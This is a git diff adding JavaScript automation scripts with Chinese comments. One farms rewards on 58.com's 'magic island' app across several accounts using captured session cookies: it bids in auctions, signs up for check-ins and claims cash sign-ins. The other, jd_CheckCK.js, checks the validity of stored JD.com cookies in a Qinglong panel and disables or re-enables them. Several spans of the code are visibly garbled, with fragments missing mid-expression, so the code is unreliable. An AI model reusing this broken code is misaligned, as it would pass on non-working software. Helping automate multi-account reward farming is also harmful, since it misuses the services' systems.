if(this.auction.status==0) { + if(maxBid >= bidNum) { + await $.wait(500) + await this.auctionBid(bidNum) + } else { + console.log(`账号[${this.index}]可用矿石余额${maxBid}不足,不能竞拍出价${bidNum}矿石`) + } + } else if(this.auction.status==1) { + let lastBid = parseInt(result.result.bidInfo.bidOre) + bidNum = (lastBid)%3 + 1 + if(maxBid >= bidNum) { + await $.wait(500) + await this.auctionModify(bidNum,result.result.bidInfo.auctionNumber) + } else { + console.log(`账号[${this.index}]可用矿石余额${maxBid}不足,不能竞拍出价${bidNum}矿石`) + } + } + } + } else { + console.log(`账号[${this.index}]查询低价竞拍主页失败: ${result.message}`) + } + } + + async auctionBid(prize) { + let url = `https://magicisland.58.com/web/auction/bid` + let body = `ore=${prize}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]竞拍出价${prize}矿石成功`) + } else { + console.log(`账号[${this.index}]竞拍出价${prize}矿石失败: ${result.message}`) + } + } + + async auctionModify(prize,number) { + let url = `https://magicisland.58.com/web/auction/modify` + let body = `ore=${prize}&number=${number}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/lowauctiondetail' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]竞拍改价${prize}矿石成功`) + } else { + console.log(`账号[${this.index}]竞拍改价${prize}矿石失败: ${result.message}`) + } + } + + async oreGameScore() { + let url = `https://magicisland.58.com/web/mineral/gameprocessore` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]领取游戏完成奖励成功`) + } else { + console.log(`账号[${this.index}]领取游戏完成奖励失败: ${result.message}`) + } + } + + async attendanceDetail() { + let url = `https://magicisland.58.com/web/attendance/detail/info?productorid=3` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + let attendList = '' + console.log(`账号[${this.index}]今天打卡状态:`) + for(let item of result.result.infoList) { + let type = attendType[item.type] + let str = (item.userState==0) ? '未报名' : ((item.userState==5) ? '可打卡' :'已报名') + console.log(`账号[${this.index}]${type}${item.number}期 -- ${str}`) + if(item.userState==0) { + if(this.runTask == 1) { + if(this.ore.ore >= item.oreLimitValue) { + await $.wait(500) + await this.attendanceSignIn(item) + } else { + console.log(`账号[${this.index}]矿石余额${this.ore.ore}不足,不能花费${item.oreLimitValue}矿石报名${type}${item.number}期打卡`) + } + } + } else if (item.userState==5) { + let numType = (item.type=='multiDay') ? 'numberMany' : 'number' + attendList += `&${numType}=${item.number}` + } + } + if(attendList) { + await $.wait(500) + await this.attendanceAttend(attendList) + } + } else { + console.log(`账号[${this.index}]查询打卡状态失败: ${result.message}`) + } + } + + async attendanceSignIn(item) { + let type = attendType[item.type] + let url = `https://magicisland.58.com/web/attendance/signIn` + let body = `number=${item.number}&category=${item.type}&productorid=3` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/client' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]报名${type}${item.number}期成功,预计可获得${result.result.averageRewardOre}矿石`) + } else { + console.log(`账号[${this.index}]报名${type}${item.number}期失败: ${result.message}`) + } + } + + async attendanceAttend(attendList) { + let url = `https://magicisland.58.com/web/attendance/attend` + let body = `productorid=3${attendList}` + let urlObject = populateUrlObject(url,this.cookie,body) + urlObject.headers.Referer = 'https://magicisland.58.com/web/v/client' + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]打卡成功`) + } else { + console.log(`账号[${this.index}]打卡失败: ${result.message}`) + } + } + + async cashSigninlist() { + let url = `https://tzbl.58.com/tzbl/taskcenter/signinlist?requestSource=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.cashSign = result.data.signInVO.status==2 ? true : false + let cashStr = this.cashSign ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日现金签到页: ${cashStr}`) + } else { + console.log(`账号[${this.index}]查询现金签到失败: ${result.message}`) + } + } + + async cashSignin() { + let url = `https://tzbl.58.com/tzbl/taskcenter/signin?requestSource=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]现金签到获得${result.data.amount}元`) + } else { + console.log(`账号[${this.index}]查询现金签到失败: ${result.message}`) + } + } +} + +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite() + }else { + if(!(await checkEnv())) return + console.log('====================\n') + console.log(`如果要自定义UA,请把UA填到wbtcUA里,现在使用的UA是:\n${userUA}`) + + console.log('\n================== 现金签到 ==================') + for(let user of userList) { + await user.cashSigninlist(); + await $.wait(200); + } + + for(let user of userList.filter(x => x.cashSign)) { + await user.cashSignin(); + await $.wait(200); + } + + console.log('\n================== 矿山小游戏 ==================') + for(let user of userList) { + await user.miningUserInfo(); + await $.wait(200); + } + + console.log('\n================== 竞拍小游戏 ==================') + for(let user of userList) { + await user.auctionInfo(); + await $.wait(200); + } + + console.log('\n================== 打卡小游戏 ==================') + for(let user of userList) { + await user.oreMainpage(false); + await $.wait(200); + } + + for(let user of userList) { + await user.attendanceDetail(); + await $.wait(200); + } + + console.log('\n================== 金币任务 ==================') + if(curHour>=TASK_TIME[0] && curHour i i $.logErr(e)) +.finally(() => $.done()) + +/////////////////////////////////////////////////////////////////// +async function checkEnv() { + if(userCookie) { + for(let userCookies of userCookie.split('\n')) { + if(userCookies) userList.push(new UserInfo(userCookies)) + } + userCount = userList.length + } else { + console.log('未找到wbtcCookie') + return; + } + + console.log(`共找到${userCount}个账号`) + return true +} + +async function GetRewrite() { + if($request.url.indexOf('getIndexSignInInfo') > -1) { + let ppu = $request.headers.ppu ? $request.headers.ppu : $request.headers.PPU + if(!ppu) return; + let uid = ppu.match(/UID=(\w+)/)[1] + let ck = 'PPU=' + ppu + + if(userCookie) { + if(userCookie.indexOf('UID='+uid) == -1) { + userCookie = userCookie + '@' + ck + $.setdata(userCookie, 'wbtcCookie'); + ckList = userCookie.split('@') + $.msg(jsname+` 获取第${ckList.length}个wbtcCookie成功: ${ck}`) + } else { + console.log(jsname+` 找到重复的wbtcCookie,准备替换: ${ck}`) + ckList = userCookie.split('@') + for(let i=0; i { + $[method](url, async (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + httpResult = JSON.parse(data); + if(logDebug) console.log(httpResult); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } else { + console.log(data) + } + } catch (e) { + console.log(e); + console.log(`服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function getMin(a,b){ + return ((anumStr.length) ? (length-numStr.length) : 0 + let retStr = '' + for(let i=0; i>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} + +function MD5Encrypt(a){function b(a,b){return a<>>32-b}function c(a,b){var c,d,e,f,g;return e=2147483648&a,f=2147483648&b,c=1073741824&a,d=1073741824&b,g=(1073741823&a)+(1073741823&b),c&d?2147483648^g^e^f:c|d?1073741824&g?3221225472^g^e^f:1073741824^g^e^f:g^e^f}function d(a,b,c){return a&b|~a&c}function e(a,b,c){return a&c|b&~c}function f(a,b,c){return a^b^c}function g(a,b,c){return b^(a|~c)}function h(a,e,f,g,h,i,j){return a=c(a,c(c(d(e,f,g),h),j)),c(b(a,i),e)}function i(a,d,f,g,h,i,j){return a=c(a,c(c(e(d,f,g),h),j)),c(b(a,i),d)}function j(a,d,e,g,h,i,j){return a=c(a,c(c(f(d,e,g),h),j)),c(b(a,i),d)}function k(a,d,e,f,h,i,j){return a=c(a,c(c(g(d,e,f),h),j)),c(b(a,i),d)}function l(a){for(var b,c=a.length,d=c+8,e=(d-d%64)/64,f=16*(e+1),g=new Array(f-1),h=0,i=0;c>i;)b=(i-i%4)/4,h=i%4*8,g[b]=g[b]|a.charCodeAt(i)<>>29,g}function m(a){var b,c,d="",e="";for(c=0;3>=c;c++)b=a>>>8*c&255,e="0"+b.toString(16),d+=e.substr(e.length-2,2);return d}function n(a){a=a.replace(/\r\n/g,"\n");for(var b="",c=0;cd?b+=String.fromCharCode(d):d>127&&2048>d?(b+=String.fromCharCode(d>>6|192),b+=String.fromCharCode(63&d|128)):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128),b+=String.fromCharCode(63&d|128))}return b}var o,p,q,r,s,t,u,v,w,x=[],y=7,z=12,A=17,B=22,C=5,D=9,E=14,F=20,G=4,H=11,I=16,J=23,K=6,L=10,M=15,N=21;for(a=n(a),x=l(a),t=1732584193,u=4023233417,v=2562383102,w=271733878,o=0;o-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),"PUT"===e&&(s=this.put),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}put(t){return this.send.call(this.env,t,"PUT")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.put(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="PUT",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.put(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_CheckCK.js b/jd_CheckCK.js new file mode 100644 index 0000000..aabdd17 --- /dev/null +++ b/jd_CheckCK.js @@ -0,0 +1,975 @@ +/* +cron "30 * * * *" jd_CheckCK.js, tag:京东CK检测by-ccwav + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const $ = new Env('京东CK检测'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + getstatus +} = require('./ql'); +const api = got.extend({ + retry: { + limit: 0 + }, + responseType: 'json', + }); + +let ShowSuccess = "false", +CKAlwaysNotify = "false", +CKAutoEnable = "true", +NoWarnError = "false"; + +let MessageUserGp2 = ""; +let MessageUserGp3 = ""; +let MessageUserGp4 = ""; + +let MessageGp2 = ""; +let MessageGp3 = ""; +let MessageGp4 = ""; +let MessageAll = ""; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + +let IndexGp2 = 0; +let IndexGp3 = 0; +let IndexGp4 = 0; +let IndexAll = 0; + +let TempErrorMessage = '', +TempSuccessMessage = '', +TempDisableMessage = '', +TempEnableMessage = '', +TempOErrorMessage = ''; + +let allMessage = '', +ErrorMessage = '', +SuccessMessage = '', +DisableMessage = '', +EnableMessage = '', +OErrorMessage = ''; + +let allMessageGp2 = '', +ErrorMessageGp2 = '', +SuccessMessageGp2 = '', +DisableMessageGp2 = '', +EnableMessageGp2 = '', +OErrorMessageGp2 = ''; + +let allMessageGp3 = '', +ErrorMessageGp3 = '', +SuccessMessageGp3 = '', +DisableMessageGp3 = '', +EnableMessageGp3 = '', +OErrorMessageGp3 = ''; + +let allMessageGp4 = '', +ErrorMessageGp4 = '', +SuccessMessageGp4 = '', +DisableMessageGp4 = '', +EnableMessageGp4 = '', +OErrorMessageGp4 = ''; + +let strAllNotify = ""; +let strNotifyOneTemp = ""; +let WP_APP_TOKEN_ONE = ""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} + +let ReturnMessageTitle = ''; + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + console.log(`检测到设定了分组推送2`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + console.log(`检测到设定了分组推送3`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + console.log(`检测到设定了分组推送4`); +} + +if ($.isNode() && process.env.CHECKCK_SHOWSUCCESSCK) { + ShowSuccess = process.env.CHECKCK_SHOWSUCCESSCK; +} +if ($.isNode() && process.env.CHECKCK_CKALWAYSNOTIFY) { + CKAlwaysNotify = process.env.CHECKCK_CKALWAYSNOTIFY; +} +if ($.isNode() && process.env.CHECKCK_CKAUTOENABLE) { + CKAutoEnable = process.env.CHECKCK_CKAUTOENABLE; +} +if ($.isNode() && process.env.CHECKCK_CKNOWARNERROR) { + NoWarnError = process.env.CHECKCK_CKNOWARNERROR; +} + +if ($.isNode() && process.env.CHECKCK_ALLNOTIFY) { + + strAllNotify = process.env.CHECKCK_ALLNOTIFY; +/* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + } */ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); +} + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid=0; + if(envs[i]._id){ + tempid=envs[i]._id; + } + if(envs[i].id){ + tempid=envs[i].id; + } + cookie = await getEnvById(tempid); + $.UserName = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.UserName2 = decodeURIComponent($.UserName); + $.index = i + 1; + $.isLogin = true; + $.error = ''; + $.NoReturn = ''; + $.nickName = ""; + TempErrorMessage = ''; + TempSuccessMessage = ''; + TempDisableMessage = ''; + TempEnableMessage = ''; + TempOErrorMessage = ''; + + console.log(`开始检测【京东账号${$.index}】${$.UserName2} ....\n`); + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.UserName); + } + if (MessageUserGp2) { + + userIndex2 = MessageUserGp2.findIndex((item) => item === $.UserName); + } + if (MessageUserGp3) { + + userIndex3 = MessageUserGp3.findIndex((item) => item === $.UserName); + } + + if (userIndex2 != -1) { + console.log(`账号属于分组2`); + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.UserName2}`; + } + if (userIndex3 != -1) { + console.log(`账号属于分组3`); + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.UserName2}`; + } + if (userIndex4 != -1) { + console.log(`账号属于分组4`); + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.UserName2}`; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + console.log(`账号没有分组`); + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.UserName2}`; + } + + await TotalBean(); + if ($.NoReturn) { + console.log(`接口1检测失败,尝试使用接口2....\n`); + await isLoginByX1a0He(); + } else { + if ($.isLogin) { + if (!$.nickName) { + console.log(`获取的别名为空,尝试使用接口2验证....\n`); + await isLoginByX1a0He(); + } else { + console.log(`成功获取到别名: ${$.nickName},Pass!\n`); + } + } + } + + if ($.error) { + console.log(`有错误,跳出....`); + TempOErrorMessage = $.error; + + } else { + const strnowstatus = await getstatus(tempid); + if (strnowstatus == 99) { + strnowstatus = envs[i].status; + } + if (!$.isLogin) { + + if (strnowstatus == 0) { + const DisableCkBody = await DisableCk(tempid); + if (DisableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用成功!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用成功!\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用失败!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用失败!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用失败!\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,已禁用!\n`); + TempErrorMessage = ReturnMessageTitle + ` 已失效,已禁用.\n`; + } + } else { + if (strnowstatus == 1) { + + if (CKAutoEnable == "true") { + const EnableCkBody = await EnableCk(tempid); + if (EnableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n祝您挂机愉快...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + TempSuccessMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n请联系管理员处理...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用失败!)\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,可手动启用!\n`); + TempEnableMessage = ReturnMessageTitle + ` 已恢复,可手动启用.\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 状态正常!\n`); + TempSuccessMessage = ReturnMessageTitle + `\n`; + } + } + } + + if (userIndex2 != -1) { + ErrorMessageGp2 += TempErrorMessage; + SuccessMessageGp2 += TempSuccessMessage; + DisableMessageGp2 += TempDisableMessage; + EnableMessageGp2 += TempEnableMessage; + OErrorMessageGp2 += TempOErrorMessage; + } + if (userIndex3 != -1) { + ErrorMessageGp3 += TempErrorMessage; + SuccessMessageGp3 += TempSuccessMessage; + DisableMessageGp3 += 